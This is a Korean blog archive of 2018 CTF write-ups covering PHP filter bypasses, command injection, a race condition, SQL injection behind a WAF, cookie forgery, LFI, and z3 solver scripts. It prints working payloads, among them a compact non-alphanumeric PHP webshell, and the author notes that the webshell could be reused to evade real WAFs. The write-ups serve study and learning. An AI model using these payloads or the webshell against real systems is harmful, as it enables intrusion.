InCTF 2018 WildCat

CTF/Writeup 2018. 10. 8. 10:36

해당 문제에 들어가보면 아래와 같은 소스코드를 볼 수 있다.


<?php
error_reporting
(0);
include(
'flag.php');
$message "<img src='cat.jpg' height=400><!-- is_debug -->";

if (isset(
$_GET['is_debug']))
    {
    
highlight_file(__FILE__) and die();
    }
  else
    {
    
$qs $_SERVER['QUERY_STRING'];
    if(!(
substr_count($qs'_') > 0) && !(substr_count($qs'%')> 1))
        {
            
$cmd $_GET['c_m_d'];
            if(!
preg_match('/[a-z0-9]/is'$cmd)){
                
system("/sandboxed_bin/".$cmd);
            }else{
                echo 
$message;
                die();
            }
        }
    echo 
$message;
        die();
    }
?>


php 샌드박스 류의 문제인데 내가 우회해야할 필터는 두가지가 존재했다.


먼저 c_m_d라는 파라미터를 통해 실행할 명령어 문자열 값을 전달해야하는데 QUERY_STRING으로 가져온 값에서 _값을 필터해버린다. 이는 c+m+d요런식으로 파라미터명을 넣어주면 우회가 된다. QUERY_STRING으로 가져왔을때는 c+m+d값이지만 php에서 파라미터명에 +값이 존재하면 이 값을 _로 인식하기때문에 실제로 c_m_d 파라미터로 값을 넣어줄 수 있다.


이제 두번째는 내가 입력한 명령어 값이 non-alphanumering 상태여야 한다. 특문밖에 쓸 수 없는 상황이었는데 일단 /sandboxed_bin/ 디렉토리 내에 존재하는 명령어가 뭔지 몰라 ?를 하나씩 늘려가면서 요청하다보니 ??? 일때만 응답이 엄청 늦게오는걸로 보아서 뭔진 모르지만 3글자 짜리 명령어가 하나이상 존재하는 것 같았다. 단순히 명령어만 들어갔을때는 응답만 엄청 오래걸릴 뿐 명령어실행결과를 따로 볼 수가 없어서 인자로로 ???%20*요런식으로 날려보니 파일 내용이 읽혔다. 그래서 cat 명령어가 먹히고 있구나 생각했꼬 아래와 같은 식으로 파일명을 하나씩 늘려가면서 찾아보니 플래그가 나왔다.



'CTF > Writeup' 카테고리의 다른 글

Hack.lu CTF 2018 BabyReverse  (0) 2018.10.25
InCTF 2018 TorPy  (0) 2018.10.08
InCTF 2018 S3cur3 Bank  (0) 2018.10.08
InCTF 2018 The Most Secure File Uploader  (0) 2018.10.08
D-CTF Quals 2018 secops  (0) 2018.09.26
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

InCTF 2018 S3cur3 Bank

CTF/Writeup 2018. 10. 8. 10:36

문제에 들어가보면 아래오 같이 생성한 계정별로 두 개의 계좌에 각각 1000원씩 돈이 입금되어있다. 즉 총 2000원이라는 돈이 존재하는데 문제에서는 flag를 구매하기 위해 5000원이 필요했다. 별다른 웹 취약점들이 존재하지 않지만 두 개의 계좌에서 서로 반대쪽 계좌로 돈을 보낼 때 race condition이 터지면서 돈을 무한대로 충전할 수가 있었다.


대충 아래와 같은 느낌으로 시나리오를 만들어봤다.

1. a 계좌에 0원 b 계좌에 2,000원을 옮겨놓는다.

2. a 계좌에서 b계좌로 100원씩 계속 반복해서 보내는 요청을 약 10개의 스레드로 시도해 놓는다.

3. b 계좌에서 a계좌로 10원씩 계속 반복해서 보내는 요청을 1개의 스레드로 시도해 놓는다.

4. 위의 상황에서 b 계좌에서 a계좌로 10원씩 보낸 금액이 더해져 a계좌 총액이 100원이 되면 정상적인 상태라서는 a 계좌에서 b계좌로 다시 100원만 전송이되어야 함. 

그러나 현재 잔액 확인 -> 금액 전송 -> 현재 잔액에서 보낸 금액 제외라는 3단계 과정에서 우리는 매우 많은 스레드를 통해 a계좌->b계좌 요청을 만들어 놨기 때문에 하나의 요청이 금액 전송 후 현재 잔액에서 보낸 금액을 제외하는 단계까지 가기 전에 다른 요청이 한번 더 현재 잔액확인 -> 금액 전송단계를 밟아서 실제로는 잔액이 100원만 있었는데 200원이 전송되는 형태의 race condition 공격이 가능해짐.


위 시나리오대로 아래와 같이 진행했다.



1) 현재 잔액 a계좌 0원 , b계좌 2000원




2) a계좌에서 b계좌로 300원씩 1,000번 반복해서 보내는 요청을 버프 인트루더로 10개 생성




3) b계좌에서 a계좌로 30원씩 600번 반복해서 보내는 요청을 버프 인트루더로 1개 생성




4) 양쪽 요청이 모두 끝난 후 계좌에 5,000원 이상 금액이 입금되어있는 것을 확인.



5) 충전한 금액으로 플래그를 사면 됨.




'CTF > Writeup' 카테고리의 다른 글

InCTF 2018 TorPy  (0) 2018.10.08
InCTF 2018 WildCat  (0) 2018.10.08
InCTF 2018 The Most Secure File Uploader  (0) 2018.10.08
D-CTF Quals 2018 secops  (0) 2018.09.26
D-CTF Quals 2018 Get Admin  (0) 2018.09.24
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

문제에 들어가보면 간단한 파일 업로드 페이지가 나온다.

 

업로드를 해보면 화이트리스트 형태로 이미지파일 확장자 검사와 실제 파일이 이미지파일인지 내용까지 체크를 하고있어 웹쉘을 올리는 식으로는 해결이 안되지만 파일이름에서 커멘드 인젝션이 먹힌다.

 

커멘드 인젝션같은 경우 & ; | %0a `` 요렇게 다 안먹히지만 $() 요게 먹혀서 이걸로 명령어 실행이 가능했다.

 

이제 이걸로 플래그파일만 찾으면 되는데 문제가 두 가지 정도 있었다.

먼저 파일이름에서 / , \가 나오면 가장 마지막 요 문자부터 인식을 해서 경로 이동이 안되는 상황이었고 다음으로 명령어 실행결과가 가장 최상위 한줄만 출력이되서 ls로 현재 디렉토리 파일목록조차 볼 수 없었다.

 

그래서 일단 플래그가 현재 명령어가 실행되는 디렉토리에 있다고 가정하고 cat fl* 이런식으로 쳐봤더니 플래그가 나왔다.

 



'CTF > Writeup' 카테고리의 다른 글

InCTF 2018 WildCat  (0) 2018.10.08
InCTF 2018 S3cur3 Bank  (0) 2018.10.08
D-CTF Quals 2018 secops  (0) 2018.09.26
D-CTF Quals 2018 Get Admin  (0) 2018.09.24
Codegate 2018 CTF RedVelvet  (0) 2018.09.18
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

해당 문제는 대회기간에는 못풀었다가 추후에 풀게되었다.


먼저 문제에 들어가보면 아래와 같이 set as flair라는 버튼하나가 존재하고 별도의 기능은 없다. 




버튼을 눌러보면 아래와 같이 쿠키 값 내 prefs값에 json형태의 값을 넘기고 있었고 번호가 4번일 경우 Flag라는 값을 뿌려주고 있는걸 볼 수 있었다.






일단 의심가는게 SQLI여서 아래와 같이 싱글쿼터를 삽입해보니 에러가 터지는걸 볼 수 있었다.




이제 문제는 데이터를 뽑을 수 있는 구문이 필요했는데 union이든 blind든 죄다 WAF에 막혀서 도저히 우회할 방법이 안떠올랐다. 그러다가 구문 필터 우회말고 WAF자체를 우회하려고 이것저것 시도해보다가 중복 파라미터 기법으로 아래와 같이 입력해주면 인젝션 구문이 먹히는걸 볼 수 있었다.

WAF쪽에서는 먼저 입력된 파라미터 쪽 구문으로 필터를 하고 서버 쪽에선 뒤쪽파라미터 값이 먹히는 상황이었다. 근데 의문인게 먼저 입력된 파라미터 쪽에서 싱글쿼터가 들어갔을 때만 위의 현상이 발생했는데 이건 정확히 왜 그런지는 모르겠다.


어쨋든 인젝션 구문을 삽입할 수 있어서 데이터만 뽑아보면 되겠다 했는데 union구문은 union select까진 우회가 되는데 from절부터는 우회를 못회서 블라인드로 뽑아야 되는 상황이었다. 근데 information_schema가 필터당하고 있었고 mysql db쪽은 권한이 없는지 버전이 없어서 존재하지 않는지 접근이 안되서 innodb_table_stats 류로 테이블을 뽑을 수도 없는 상황이었다. 그래서 처음엔 4') and (select 1 from bruteforce_table)=1%23 이런식으로 에러안터질때까지 테이블명을 bruteforce해봤는데 잘안나와서 컬럼명쪽을 바로 찾아보다가 아래와 같이 flag라는 컬럼이 있는걸 볼 수 있었다.



여기서부터는 substring, ascii 등 대부분의 함수들이 필터를 안당해서 그냥 데이터쭉 뽑아서 플래그 값을 찾았다.



[*]Find Flag = DCTF{346cb556a97a4396c7c09461344dc680e5446eea42788fbd729d877d1c75691b}

'CTF > Writeup' 카테고리의 다른 글

InCTF 2018 S3cur3 Bank  (0) 2018.10.08
InCTF 2018 The Most Secure File Uploader  (0) 2018.10.08
D-CTF Quals 2018 Get Admin  (0) 2018.09.24
Codegate 2018 CTF RedVelvet  (0) 2018.09.18
BugsBunny CTF 2017 Rev150  (0) 2018.09.17
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

하루동안 날잡고 웹 파트랑 리버싱 점수 낮은것만 풀어보자하고 내내봤는데 유일하게 푼 웹 문제고 딱 하나밖에 풀지못해 자괴감이 들었지만 해당문제를 엄청 고생끝에 풀어서 기분이 좋았다.

   

해당 문제는 들어가보면 전체 소스코드를 제공해주고 있어 소스코드 오디팅 방식으로 취약점을 찾으면 된다.


일단 플래그를 얻으려면 아래와 같이 admin.php에 접근할때 세션 값 중 userid가 1이 세팅되어 있어야 한다.



그럼 이 값이 어떻게 세팅되는지를 알아야하는데 코드를 살펴보면 아래와 같은 형태로 진행이 된다. 

먼저 세션이 할당되어있을때와 되어있지 않을때 로직이 나뉘어져 있는데 세션이 할당되지 않은 상태에서는 로그인 계정정보를 가지고 authenticate 함수를 호출해서 userid 세션값을 세팅한다. 여기서 SQLI가 터지면 리턴값을 조작할 수 있겠다 했지만 역시나 SQLI는 터지지않았고 나머지 로직을 살펴보기로 했다.




다음으로 세션이 존재하지 않을때를 보면 쿠키 값중 user값을 decryptCookie 함수에 인자로 사용하여 리턴된 값을 통해 userid값이 세팅된다. 일단 decryptCookie  함수를 살펴보니 config.php 파일에서 아래와 같은 구조로 암복호화가 이루어지고 있었다.



암복호화 과정을 간단히 살펴보면 먼저 암호화 시에는 사용자 정보 배열(userid값,유저명,이메일)을 compress함수를 통해 직렬화된 형태의 문자열 데이터로 변환한 뒤 이 문자열 값을 crc32 처리해서 체크섬값을 세팅해 최종적으로  userid값,유저명,이메일,체크섬 형태의 배열을 만들고 이 배열을 다시 compress함수에 넣어 직렬화된 문자열 데이터 형태로 만들어 대칭키 암호화방식에 cbc 모드로 암호화를 진행한다. 그리고 이 때 암호화된 데이터의 길이를 암호화 값 마지막 6바이트영역에 추가해주게 된다.


다음으로 중요하게 봐야할 복호화 과정을 보면 위에서 만든 암호화 값을 받아와서 마지막 6바이트 영역의 길이부분을 떼어낸 뒤 복호화를 진행하고 복호화한 값을 6바이트 영역의 길이 값만큼 substring처리해서 직렬화된 형태의 문자열을 decompress 함수내에서 배열형태로 변환한다. 이 때 배열 내 저장되어있는 checksum값과 checksum 값을 제외한 나머지 값(userid값,유저명,이메일)로 다시 checksum값을 만들어 이 둘을 비교해 암호화된 데이터가 변조되어있는지 확인한다.


여기까지 분석하고 처음 든 생각은 Oracle Padding Attack으로 암호화된 값을 복호화한 뒤 userid값과 checksum값을 변조하면 되겠다고 생각이 들었다.


그래서 padbuster로 일단 암호화된 값을 복호화했더니 내가 옵션을 잘못준건지 잘못사용한건진 몰라도 복호화된 값이 아래와 같은 형태로 username 키 값과 그 전의 id값이 잘린채 깨져서 나왔다.


e¡youngsin÷email¡youngsin@naver.com÷checksum¡÷338124513 


한번정도 더 시도해봤는데 결과가 같았고 한번 복호화하는데 시간도 너무 오래걸려서 그사이 코드를 한번더 유심히 보다가 username,emali값을 통해 아래와 같은 식으로 id값을 덮을 수 있겠다 싶었고 이걸로 뭔가 익스가 가능할 것 같다는 느낌이 들어서 테스트를 시작해봤다.


내가 정상적으로 계정 생성 후 로그인을 할 경우 암호화되는 평문 값은 아래와 같은 형태일 것이다.

id¡1500÷username¡youngsin÷email¡youngsin@naver.com÷checksum¡÷338124513 


여기서 나는 가입할 계정 및 이메일을 입력할 때 별도의 필터링 구문이 없기 때문에 youngsin@naver.com÷id¡1 요런식으로 가입을 해주면 아래와 같은 형태로 암호화될 평문 값이 세팅될 것이다.


id¡1500÷username¡youngsin÷email¡youngsin@naver.com÷id¡1÷checksum¡÷338124513 


여기서 이 문자열 값은 decompress 함수내에서 배열로 변환되면서 아래의 코드에 의해 중복된 키 값이 가장 뒤에값으로 세팅되어 id값이 1이 되게된다.



 

이를 통해 id를 덮을 수 있다는걸 알았고 이제 문제는 checksum 값이었는데 checksum값 같은 경우 내가 입력한 값보다 뒤쪽에 존재해 값을 덮을 수가 없었다. 그러나 이 때 굳이 왜 암호화 길이를 세팅해서 추가해놨지 했던 부분이 떠올랐고 이걸 이용하면 뒤쪽에 적용되어있는 기존 checksum값을 잘라내고 내가 입력한 checksum값이 적용되게 할 수 있겠구나 생각이 들었다. 그래서 이 시나리오대로 아래와 같은 형태로 공격을 진행했다.


1. 회원가입 시 이메일 값을 다음과 같이 세팅

ssrjys1@naver.com÷id¡1÷checksum¡2486825947


2. 가입한 계정으로 로그인하여 암호화된 값 획득


3. 로그아웃 후 암호화된 값에서 길이 값을 줄여가며 decrypt 에러가 안뜨는 길이 값을 찾음.


4. 3번에서 찾은 값으로 index.php를 접근하면 세션 내 userid값이 1로 세팅되어서 플래그 출력


 

1) 이메일 값에 조작한 값을 삽입하여 가입 시도



2) 가입한 계정으로 로그인하여 조작한 평문이 담긴 암호화값 획득



3)암호화 값에서 길이영역을 조작하여 Decrypt 에러가 안터지는 길이 값 확인(원본 checksum값이 정확히 잘린 시점의 값)



4) 3번에서 구한 암호화 값으로 index.php 접근 시도(로그아웃 후 진행하여 세션 값내 userid값이 세팅되어 있지 않아야함)



5) 조작한 암호화 값이 Decrypt되면서 세션 내 userid 값이 1로 세팅되어 플래그 출력











'CTF > Writeup' 카테고리의 다른 글

InCTF 2018 The Most Secure File Uploader  (0) 2018.10.08
D-CTF Quals 2018 secops  (0) 2018.09.26
Codegate 2018 CTF RedVelvet  (0) 2018.09.18
BugsBunny CTF 2017 Rev150  (0) 2018.09.17
LAYER7 CTF 2018 Margaret  (0) 2018.09.17
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

코드를 보면 대충 입력값을 15개 함수를 통해 연산을 하고 이에 만족하는 값을 구해주면 된다. 간단히 z3나 angr로 풀면되는데 angr는 아직 제대로 써보질 못해서 일단 z3로 풀었다. angr도 익혀서 담에 풀어봐야겠다.


from z3 import *

input= []
for i in xrange(26):
input.append(z3.BitVec('input[' + str(i) + ']',16))

s = Solver()

s.add(input[0] * 2 * (input[1] ^ input[0]) - input[1] == 10858)
s.add(input[0] > 85)
s.add(input[0] <= 95)
s.add(input[1] > 96)
s.add(input[1] <= 111)
s.add(input[1] % input[2] == 7)
s.add(input[2] > 90)
s.add(input[2] / input[3] + (input[3] ^ input[2]) == 21)
s.add(input[2] <= 99)
s.add(input[3] <= 119)
s.add(input[3] > 115)
s.add(input[4] <= 99)
s.add(input[4] == 95)
s.add(((input[5] + input[4]) ^ (input[4] ^ input[5] ^ input[4])) == 225)
s.add(input[5] <= 89)
s.add(input[5] <= input[6])
s.add(input[6] <= input[7])
s.add(input[5] > 85)
s.add(input[6] > 110)
s.add(input[7] > 115)
s.add(((input[6] + input[7]) ^ (input[5] + input[6])) == 44)
s.add((input[6] + input[7]) % input[5] + input[6] == 161)
s.add(input[7] >= input[8])
s.add(input[8] >= input[9])
s.add(input[7] <= 119)
s.add(input[8] > 90)
s.add(input[9] <= 89)
s.add(((input[7] + input[9]) ^ (input[8] + input[9])) == 122)
s.add((input[7] + input[9]) % input[8] + input[9] == 101)
s.add(input[9] <= input[10])
s.add(input[10] <= input[11])
s.add(input[11] <= 114)
s.add((input[9] + input[10]) / input[11] * input[10] == 97)
s.add((input[11] ^ (input[9] - input[10])) * input[10] == -10088)
s.add(input[11] <= 114)
s.add(input[11] == input[12])
s.add(input[12] >= input[13])
s.add(input[13] <= 99)
s.add(input[13] + input[11] * (input[13] - input[12]) - input[11] == -1443)
s.add(input[13] >= input[14])
s.add(input[14] >= input[15])
s.add(input[14] * (input[13] + input[15] + 1) - input[15] == 15514)
s.add(input[14] > 90)
s.add(input[14] <= 99)
s.add(input[16] >= input[15])
s.add(input[15] >= input[17])
s.add(input[16] > 100)
s.add(input[16] <= 104)
s.add(input[15] + (input[16] ^ (input[16] - input[17])) - input[17] == 70)
s.add((input[16] + input[17]) / input[15] + input[15] == 68)
s.add(input[17] >= input[18])
s.add(input[18] >= input[19])
s.add(input[18] <= 59)
s.add(input[19] <= 44)
s.add(input[17] + (input[18] ^ (input[19] + input[18])) - input[19] == 111)
s.add((input[18] ^ (input[18] - input[19])) + input[18] == 101)
s.add(input[19] <= input[20])
s.add(input[20] <= input[21])
s.add(input[19] > 40)
s.add(input[20] > 90)
s.add(input[21] <= 109)
s.add(input[21] + (input[20] ^ (input[21] + input[19])) - input[19] == 269)
s.add((input[21] ^ (input[20] - input[19])) + input[20] == 185)
s.add(input[21] >= input[23])
s.add(input[22] >= input[23])
s.add(input[22] <= 99)
s.add(input[23] > 90)
s.add(input[21] + (input[22] ^ (input[22] + input[21])) - input[23] == 185)
s.add(input[24] >= input[25])
s.add(input[24] >= input[23])
s.add(input[25] > 95)
s.add(input[24] <= 109)
s.add(((input[24] - input[23]) * input[24] ^ input[25]) - input[23] == 1214)
s.add(((input[25] - input[24]) * input[25] ^ input[23]) + input[24] == -1034)

flag = ""

if s.check() == z3.sat:
try:
m = s.model()
for i in range(0, 26):
flag += chr(int(str(m[input[i]])))
print flag
except:
print "Not Found"

Flag = What_You_Wanna_Be?:)_la_la

'CTF > Writeup' 카테고리의 다른 글

D-CTF Quals 2018 secops  (0) 2018.09.26
D-CTF Quals 2018 Get Admin  (0) 2018.09.24
BugsBunny CTF 2017 Rev150  (0) 2018.09.17
LAYER7 CTF 2018 Margaret  (0) 2018.09.17
LAYER7 CTF 2018 url routing  (0) 2018.09.17
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

바이너리는 64bit elf 파일이고 메인함수를 보면 입력값을 받아서 아래와 같이 여러함수를 거친 후 플래그를 출력해준다.



먼저 numeric 함수를 보면 입력값에서 48을 뺀 값이 9이하인지 확인을 한다. 이를 통해 입력값이 0~9까지의 숫자여야 한다는걸 알 수 있다.



이후 함수들에 대해 분석해보면 각 함수별로 입력값을 통해 여러가지 연산을 하고 있는데 z3로 각 연산에 만족하는 수를 구해주면 된다.


중간에 결과값이 0인 연산과 같은 경우 a[11]이 0일 것이기 때문에 제외한 후 따로 s.add((a[11] - 48) == 0) 요렇게 a[11]을 0으로 지정해줬다. 


from z3 import *

a = []
s = Solver()
for i in range(0,20):
a.append(BitVec('a['+str(i)+']',8))
s.add(a[i]<=57,a[i]>=48)

s.add((a[11] - 48) == 0)
s.add((a[15] - 48 + a[4] - 48) == 10)
s.add((a[1] - 48) * (a[18] - 48) == 2)
s.add((a[15] - 48) / (a[9] - 48) == 1)
s.add(a[5] - a[17] == -1)
s.add(a[15] - a[1] == 5)
s.add((a[1] - 48) * (a[10] - 48) == 18)
s.add(a[8] - 48 + a[13] - 48 == 14)
s.add((a[18] - 48) * (a[8] - 48) == 5)
#s.add((a[4] - 48) * (a[11] - 48) == 0)
s.add(a[8] - 48 + a[9] - 48 == 12)
s.add(a[12] - a[19] == 1)
s.add((a[9] - 48) % (a[17] - 48) == 7)
s.add((a[14] - 48) * (a[16] - 48) == 40)
s.add(a[7] - a[4] == 1)
s.add(a[6] - 48 + a[0] - 48 == 6)
s.add(a[2] == a[16])
s.add(a[4] - a[6] == 1)
s.add((a[0] - 48) % (a[5] - 48) == 4)
#s.add((a[5] - 48) * (a[11] - 48) == 0)
s.add((a[10] - 48) % (a[15] - 48) == 2)
#s.add((a[11] - 48) / (a[3] - 48) == 0)
s.add(a[14] - a[13] == -4)
s.add(a[18] - 48 + a[19] - 48 == 3)
s.add(a[3] - 48 + a[17] - 48 == 9)

flag = ""

if s.check() == z3.sat:
try:
m = s.model()
for i in range(0, 20):
flag += chr(int(str(m[a[i]])))
print "Flag = " + flag
except:
print "Not Found"

Flag = 42813724579039578812














'CTF > Writeup' 카테고리의 다른 글

D-CTF Quals 2018 Get Admin  (0) 2018.09.24
Codegate 2018 CTF RedVelvet  (0) 2018.09.18
LAYER7 CTF 2018 Margaret  (0) 2018.09.17
LAYER7 CTF 2018 url routing  (0) 2018.09.17
Meepwn CTF Quals 2018 OmegaSector  (0) 2018.07.17
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

해당 문제와 같은 경우 소스코드를 제공해 주고 있어서 다운받아 분석을 해봤다.


전체적인 흐름은 간단한 PHP MVC 형태의 웹 어플리케이션인데 일단 코드상에서 취약점이 터질만 한건  SQLI랑 LFI 두개 정도였다. 둘 다 해당 취약점들에 대해 필터링하는 코드들이 존재하고 있었고 SQLI는 아무리봐도 트릭류로 우회가 가능할 것 같은게 보이지가 않아서 일단 접어놓고 LFI쪽으로 계속 분석을 해봤다.


일단 필터코드는 아래와 같은 형태로 함수가 존재했다.



일단 상위경로같은 경우는 단순 치환이라 ....//같은 형태로 우회가 가능했고  NULL값을 치환하고 맨뒤 4글자가 html인지 확인하는건 로그인 시 세션 고정상태라 내가 요청한 값으로 세션이 세팅되서 세션파일로 우회하면 되겠다고 생각했다.


여기까지 생각하고 MVC형태에 맞춰서 아래와 같이 공격을 진행했다.


먼저 로그인 시 요청세션을 123html 요런식으로 보낸다음 아래와 같은 형태로 요청을 했다.


http://dm1536803965686.fun25.co.kr:23907/....//....//....//....//....//....//....//var/lib/php/sessions/sess_123html


요렇게 보내면 MVC 형태에 맞춰서 http://dm1536803965686.fun25.co.kr:23907/index.php?p=....//....//....//....//....//....//....//var/lib/php/sessions/sess_123html 요렇게 자동으로 rewrite처리되서 lfi가 터질거라고 생각했는데 잘 안됬다. 그래서 한참 고민하다가 아예 그냥 아래처럼 직접 index.php에 요청을 해봤더니 정상적으로 session파일이 include되는걸 볼 수 있었다.



이제 그냥 RCE하면 되겠다고 생각했는데 로그인할때 계정명에 공백이랑 _가 필터되고 있어서 아래와 같은 형태로 PHP Jail류 풀때 쓰던걸 떠올려서 로그인 계정 만들고 현재 디렉토리 내 파일을 봤더니 플래그가 있었다.

















'CTF > Writeup' 카테고리의 다른 글

Codegate 2018 CTF RedVelvet  (0) 2018.09.18
BugsBunny CTF 2017 Rev150  (0) 2018.09.17
LAYER7 CTF 2018 url routing  (0) 2018.09.17
Meepwn CTF Quals 2018 OmegaSector  (0) 2018.07.17
Meepwn CTF Quals 2018 Ezchallz  (0) 2018.07.16
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

문제에 들어가보면 다음과 같은 코드가 나온다.



코드를보면 GET 메소드 형태로 flag라는 파라미터가 존재해야 flag가 뿌려진다. 그러나 stripos로 내가 요청한 URI 값에 flag라는 파라미터가 존재할 경우 필터링이 되어진다. 

그러나 여기서 생각해볼 수 있는건 URI값을 가져올 때 $_SERVER['REQUEST_URI']를 통해 가져온다는 점이다. $_SERVER['REQUEST_URI']는 내가 요청한 URI를 URL 디코딩없이 그대로 가져온다. 이부분을 염두하면 아래와 같은 방식으로 필터링 우회가 가능해진다.


exploit :  ?fl%61g





'CTF > Writeup' 카테고리의 다른 글

BugsBunny CTF 2017 Rev150  (0) 2018.09.17
LAYER7 CTF 2018 Margaret  (0) 2018.09.17
Meepwn CTF Quals 2018 OmegaSector  (0) 2018.07.17
Meepwn CTF Quals 2018 Ezchallz  (0) 2018.07.16
ASIS 2018 CTF Good WAF  (0) 2018.05.01
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

문제 접속 후 주석을 보면 is_debug=1이라는 문구가 있고 이를 입력해보면 다음과 같이 php소스 코드를 확인할 수 있다.




<?php 

ob_start(); 

session_start(); 

?> 

<html> 

<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style> 

<head> 

  <link rel="stylesheet" href="assets/omega_sector.css"> 

  <link rel="stylesheet" href="assets/tsu_effect.css"> 

</head> 


<?php 


ini_set("display_errors", 0); 

include('secret.php'); 


$remote=$_SERVER['REQUEST_URI']; 


if(strpos(urldecode($remote),'..')) 

mapl_die(); 


if(!parse_url($remote, PHP_URL_HOST)) 

    $remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI']; 

$whoareyou=parse_url($remote, PHP_URL_HOST); 



if($whoareyou==="alien.somewhere.meepwn.team") 

    if(!isset($_GET['alien'])) 

    { 

        $wrong = <<<EOF 

<h2 id="intro" class="neon">You will be driven to hidden-street place in omega sector which is only for alien! Please verify your credentials first to get into the taxi!</h2> 

<h1 id="main" class="shadow">Are You ALIEN??</h1> 

<form id="main"> 

    <button type="submit" class="button-success" name="alien" value="Yes">Yes</button> 

    <button type="submit" class="button-error" name="alien" value="No">No</button> 

</form> 

<img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> 

EOF; 

        echo $wrong; 

    } 

    if(isset($_GET['alien']) and !empty($_GET['alien'])) 

    { 

         if($_GET['alien']==='@!#$@!@@') 

        { 

            $_SESSION['auth']=hash('sha256', 'alien'.$salt); 

            exit(header( "Location: alien_sector.php" )); 

        } 

        else 

        { 

            mapl_die(); 

        } 

    } 


elseif($whoareyou==="human.ludibrium.meepwn.team") 

     

    if(!isset($_GET['human'])) 

    { 

        echo ""; 

        $wrong = <<<EOF 

<h2 id="intro" class="neon">hellu human, welcome to omega sector, please verify your credentials to get into the taxi!</h2> 

<h1 id="main" class="shadow">Are You Human?</h1> 

<form id="main"> 

    <button type="submit" class="button-success" name="human" value="Yes">Yes</button> 

    <button type="submit" class="button-error" name="human" value="No">No</button> 

</form> 

<img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> 

EOF; 

        echo $wrong; 

    } 

    if(isset($_GET['human']) and !empty($_GET['human'])) 

    { 

         if($_GET['human']==='Yes') 

        { 

            $_SESSION['auth']=hash('sha256', 'human'.$salt); 

            exit(header( "Location: omega_sector.php" )); 

        } 

        else 

        { 

            mapl_die(); 

        } 

    } 


else 

    echo '<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2>'; 

    echo '<img src="assets/map.jpg" id="taxi" width="55%" height="55%" />'; 

    if(isset($_GET['is_debug']) and !empty($_GET['is_debug']) and $_GET['is_debug']==="1") 

    { 

        show_source(__FILE__); 

    } 


?> 

<body background="assets/background.jpg" class="cenback"> 

</body> 

<!-- is_debug=1 --> 

<!-- All images/medias credit goes to nexon, wizet --> 

</html> 

<?php ob_end_flush(); ?> 



코드를 보면 URI 값을 parse_url의 인자로 넣고 호스트명을 구해오는데 요런식으로 입력해주면 조건에 만족하면서 아래와 같이 두개의 페이지에 접근이 가능해진다.




각 페이지 기능을 보면 위와같이 임의의 입력값을 넣어준뒤 Save버튼을 눌렀을때 아래와 같은 형태로 요청이 간다.



기능을보면 message 파라미터값이 파일내용에 삽입되고 type 파라미터값을 통해 파일확장자를 지정할 수 있다. 여기서그냥 파일내용에 php 코드 넣으면 끝나겠구나 생각했는데 큰 오산이었다. 위에서 리다이렉트된 두개의 페이지 각각 한군데는 파일내용에 문자,숫자만 쓸 수 있고 나머지 한군데는 특문만 쓸 수 있다는 필터조건이 걸려있었다.


문자,숫자만 가지고는 일단 php 시작코드인 <?를 어떻게할 방법이 없어보였고 특문만 가지고 웹쉘 명령어를 만들어야할 것 같았다.

php에서는 문자열(); 형태로 함수실행이 가능한 트릭이 있기 때문에 특문들을 비트연산을 통해 적절히 조절해서 내가원하는 함수의 문자열만 만들 수 있다면 충분히 가능할 거라 생각했다. 

여기까지 생각한뒤 여러가지 조합을통해 system , show_source 류의 문자열을 특문만가지고 만들어보려고 했는데 생각보다 쉽지가 않아서 이미 누군가 만들어논게 있을 것 같아서 찾다보니 요 사이트에서 특문만 가지고 만든 웹쉘 코드를 찾았다.


https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/


위 사이트에서 찾은 코드를 그대로 쓰려고 넣어보니 40글자 길이제한이 걸려있었다.


여기서 멘탈이 나갔다가 최대한 길이를 줄인 코드를 짜봤는데 대충 아래와 같은 형태였다.


<?=$_="_GET";${$_}{_}(${$_}{__});


위의 코드 중 "_GET"를 제외한 글자가 26글자였고 "_GET"을 특문 14글자로 구현만 가능하다면 익스플로잇이 가능할 거라고 생각했다. 여기서 특문으로 _GET을 만들어보려고 좀 해봤는데 생각처럼 잘 안되서 멘탈터져서 결국 롸업을 봤다. 코드자체는 생각했던 코드와 크게 다르지 않았고 "_GET"을 "`{{{"^"?<>/" 요런식으로 만들 수 있길래 그대로 가져다 썼다.

<?=$_="`{{{"^"?<>/";${$_}{_}(${$_}{__});



해당 기법은 실무에서도 php 웹쉘 업로드 시 웹방화벽 우회할 때 다양하게 응용가능할 것 같다. 














'CTF > Writeup' 카테고리의 다른 글

LAYER7 CTF 2018 Margaret  (0) 2018.09.17
LAYER7 CTF 2018 url routing  (0) 2018.09.17
Meepwn CTF Quals 2018 Ezchallz  (0) 2018.07.16
ASIS 2018 CTF Good WAF  (0) 2018.05.01
ASIS 2018 CTF Buy flags  (0) 2018.05.01
블로그 이미지

JeonYoungSin

메모 기록용 공간

,